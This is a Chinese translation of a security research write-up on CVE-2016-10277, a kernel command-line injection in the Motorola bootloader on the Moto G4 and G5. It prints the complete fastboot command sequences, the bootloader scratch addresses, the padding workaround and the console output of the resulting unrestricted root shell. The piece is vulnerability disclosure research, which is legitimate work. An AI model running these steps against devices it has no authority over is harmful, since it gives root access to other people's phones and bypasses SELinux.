在之前一篇关于Nexus6 root漏洞的文章中,我们曾提到过漏洞CVE-2016-10277很有可能会影响摩托罗拉设备。当我们在Twitter上受到了一些相关报告之后,事实证明了我们之前的猜想。
为了证明摩托罗拉设备中存在这样的一种高危漏洞,我们弄了两台摩托罗拉手机,然后将它们的系统升级至了最新版本:
1. MotoG4 athene XT1622,系统版本:NPJS25.93-14.4,Bootloader:moto-msm8952-B1.05;
2. MotoG5 cedric XT1676,系统版本:NPP25.137-33,bootloader:moto-msm8937-B8.09;
回顾之前的那篇文章
1. 存在漏洞的摩托罗拉Android Bootloader(ABOOT)将允许攻击者实现内核命令行注入。
2. 我们可以注入一个名叫“initrd”的参数,它将允许我们迫使Linux内核把initramfs填充至rootfs中,而且还可以指定物理地址。
3. 我们可以利用ABOOT的下载功能来将我们的恶意initramfs存放到已知的物理地址SCRATCH_ADDR(Nexus 6中为0×11000000)。
4. 攻击者可以利用这个漏洞来拿到毫不受限的root shell。
验证Moto G4 & G5上的漏洞CVE-2016-10277
实验表明,这两种型号的设备的确会受到该漏洞的影响,而且漏洞的利用也非常简单。我们只需要运行命令fastboot oem config fsg-id “a androidboot.foo=bar”,就可以直接创建出ro.boot.foo属性(property):
$fastboot oem config fsg-id "a androidboot.foo=bar"... (bootloader)<UTAG name="fsg-id" type="str"protected="false">(bootloader) <value>(bootloader) a androidboot.foo=bar (bootloader) </value>(bootloader) <description>(bootloader) FSG IDs, see http://goo.gl/gPmhU(bootloader) </description>(bootloader)</UTAG>OKAY[ 0.013s] $fastboot continue $ adbshellcedric:/$ getprop ro.boot.foo barcedric:/$
这也就意味着我们已经将这个参数注入到cedric的内核命令行之中了。接下来,我们证明了我们能够控制initrd参数,而它将允许我们迫使Linux内核从一个指定的物理地址加载initramfs。我们可以通过运行命令fastboot oem config fsg-id “a initrd=0×12345678,1234″来让内核发生崩溃。
正如之前所提到的,在我们利用该漏洞来对G4 & G5设备进行测试之前,我们还需要满足两个特殊的要求:
1. 找到bootloader所使用的SCRATCH_ADDR值。
2. 创建恶意initramfs文档。
查找SCRATCH_ADDR值
在IDA中加载athene的ABOOT以及cedric的ABOOT之后,我们迅速得到了SCRATCH_ADDR的值:
//athene
signedint target_get_scratch_address()
{
return 0x90000000;
}
//cedric
signedint target_get_scratch_address()
{
return 0xA0100000;
}
验证SCRATCH_ADDR的值
在我们讲解恶意initramfs的构造方法之前,我们需要验证SCRATCH_ADDR值的正确性,否则我们得到的分析结果很可能会有问题。
为了验证这个地址的正确性,我们从摩托罗拉的官方固件镜像中提取出了原始的initramfs文档,然后利用这个漏洞从地址SCRATCH_ADDR加载官方的initramfs。
...
(bootloader)<UTAG name="fsg-id" type="str"protected="false">
(bootloader) <value>
(bootloader) a initrd=0x90000000,1766036
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader)</UTAG>
OKAY[ 0.015s]
finished.total time: 0.015s
$fastboot flash aleph initramfs.cpio.gz
targetreported max download size of 536870912 bytes
sending'aleph' (1725 KB)...
OKAY[ 1.088s]
writing'aleph'...
(bootloader)Invalid partition name aleph
FAILED(remote failure)
finished.total time: 1.095s
$fastboot continue
此时文件并没有正常加载,而设备则进入了无限重启,这就让我们非常郁闷了。
填充Payload
我们进行了大胆的猜测,最终发现,当我们将initramfs加载进了地址SCRATCH_ADDR之后,并在ABOOT跳转到Linux内核之前,cedric和athene的ABOOT会将其它一些不相关的数据放入SCRATCH_ADDR之中,并导致了我们的initramfs发生崩溃(但并非完全崩溃)。
现在,我们只要在initramfs之前填充一些数据,然后相应地调整initrd(SCRATCH_ADDR + sizeof(PADDING))即可解决崩溃问题。因此,如果我们的假设是正确的,那么我们就能够在Linux内核真正开始运行之前得到如下所示的内存数据(结构):
我们填充了32MB数据(0×2000000)并成功解决了无限重启的问题。
创建Moto G4 & G5的initramfs以及漏洞PoC
对于之前Nexus 6的情况来说,为了创建一个initramfs并通过adb获取到毫不受限的root shell,我们编译了一个AOSP userdebug镜像。我们之所以要这样做,是因为userdebug镜像能够通过su访问SELinux域,而adbd可以给我提供一些系统属性。
更新后的PoC可以在我们的GitHub代码库中找到。【PoC传送门】
了解了上述内容之后并运行我们所提供的PoC,我们就能够成功拿到root shell。
MotoG4:
$fastboot oem config fsg-id "a initrd=0x92000000,1774281"
$fastboot flash aleph initroot-athene.cpio.gz
$fastboot continue
$ adbshell
athene:/# id
uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc)context=u:r:kernel:s0
athene:/# getenforce
Permissive
athene:/#
MotoG5:
$fastboot oem config fsg-id "a initrd=0xA2100000,1588598"
$fastboot flash aleph initroot-cedric.cpio.gz
$fastboot continue
$ adbshell
cedric:/# id
uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc)context=u:r:kernel:s0
cedric:/# getenforce
Permissive
cedric:/#
* 参考来源:alephsecurity, FB小编Alpha_h4ck编译,转载来自FreeBuf.COM
本文始发于微信公众号(零组攻防实验室):摩托罗拉G4 & G5手机被曝存在高危内核命令行注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论